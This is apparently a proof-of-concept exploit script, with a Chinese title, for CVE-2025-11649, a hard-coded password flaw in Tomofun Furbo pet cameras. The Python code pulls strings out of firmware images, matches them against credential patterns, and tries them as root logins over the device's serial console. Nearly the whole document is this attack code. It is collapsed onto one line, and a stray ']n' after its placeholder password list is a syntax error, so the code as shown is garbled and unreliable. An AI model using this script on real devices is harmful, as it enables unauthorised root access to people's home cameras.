CVE-2025-11649：Tomofun Furbo设备硬编码密码漏洞

# CVE-2025-11649 - Furbo Hard-coded Password PoC # Reference: https://github.com/dead1nfluence/Furbo-Advisories/blob/main/Hardcoded-Password.md # Step 1: Extract firmware from device or download from official source # Furbo 360: FB0035_FW_036 # Furbo Mini: MC0020_FW_074 import hashlib import re import sys def extract_strings_from_firmware(firmware_path, min_length=6): """Extract printable strings from firmware binary for analysis""" strings = [] with open(firmware_path, 'rb') as f: data = f.read() # Find ASCII strings in binary pattern = rb'[\x20-\x7e]{%d,}' % min_length matches = re.findall(pattern, data) for match in matches: strings.append(match.decode('ascii', errors='ignore')) return strings def search_hardcoded_credentials(firmware_path): """Search for hard-coded credentials in firmware""" strings = extract_strings_from_firmware(firmware_path) # Common patterns for credentials credential_patterns = [ r'root[:\s]+\S+', r'admin[:\s]+\S+', r'password[:\s]+\S+', r'pass[:\s]+\S+', r'pwd[:\s]+\S+', ] found_credentials = [] for s in strings: for pattern in credential_patterns: matches = re.findall(pattern, s, re.IGNORECASE) if matches: found_credentials.extend(matches) return found_credentials def attempt_login_via_serial(port, baudrate=115200, username='root'): """ Attempt to login via serial console using hard-coded credentials Requires physical access to UART pins on the device """ try: import serial ser = serial.Serial(port, baudrate, timeout=5) # Wait for login prompt output = ser.read_until(b'login:', timeout=10) print(f"[*] Received: {output.decode(errors='ignore')}") # Send username ser.write(f"{username}\n".encode()) # Wait for password prompt output = ser.read_until(b'Password:', timeout=10) print(f"[*] Received: {output.decode(errors='ignore')}") # Try hard-coded passwords discovered from firmware analysis # NOTE: Actual passwords should be extracted from firmware binary hardcoded_passwords = [ # Placeholder - actual passwords extracted from firmware ]n for pwd in hardcoded_passwords: ser.write(f"{pwd}\n".encode()) output = ser.read(1024) if b'$' in output or b'#' in output: print(f"[+] SUCCESS! Logged in with password: {pwd}") return True ser.close() except ImportError: print("[-] pyserial not installed. Run: pip install pyserial") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <firmware_binary>") print(f"Example: {sys.argv[0]} FB0035_FW_036.bin") sys.exit(1) firmware_path = sys.argv[1] print(f"[*] Analyzing firmware: {firmware_path}") creds = search_hardcoded_credentials(firmware_path) if creds: print(f"[+] Found {len(creds)} potential hard-coded credentials:") for c in creds: print(f" - {c}") else: print("[-] No obvious credentials found with simple patterns") print("[*] Try manual analysis with tools like binwalk, strings, or Ghidra")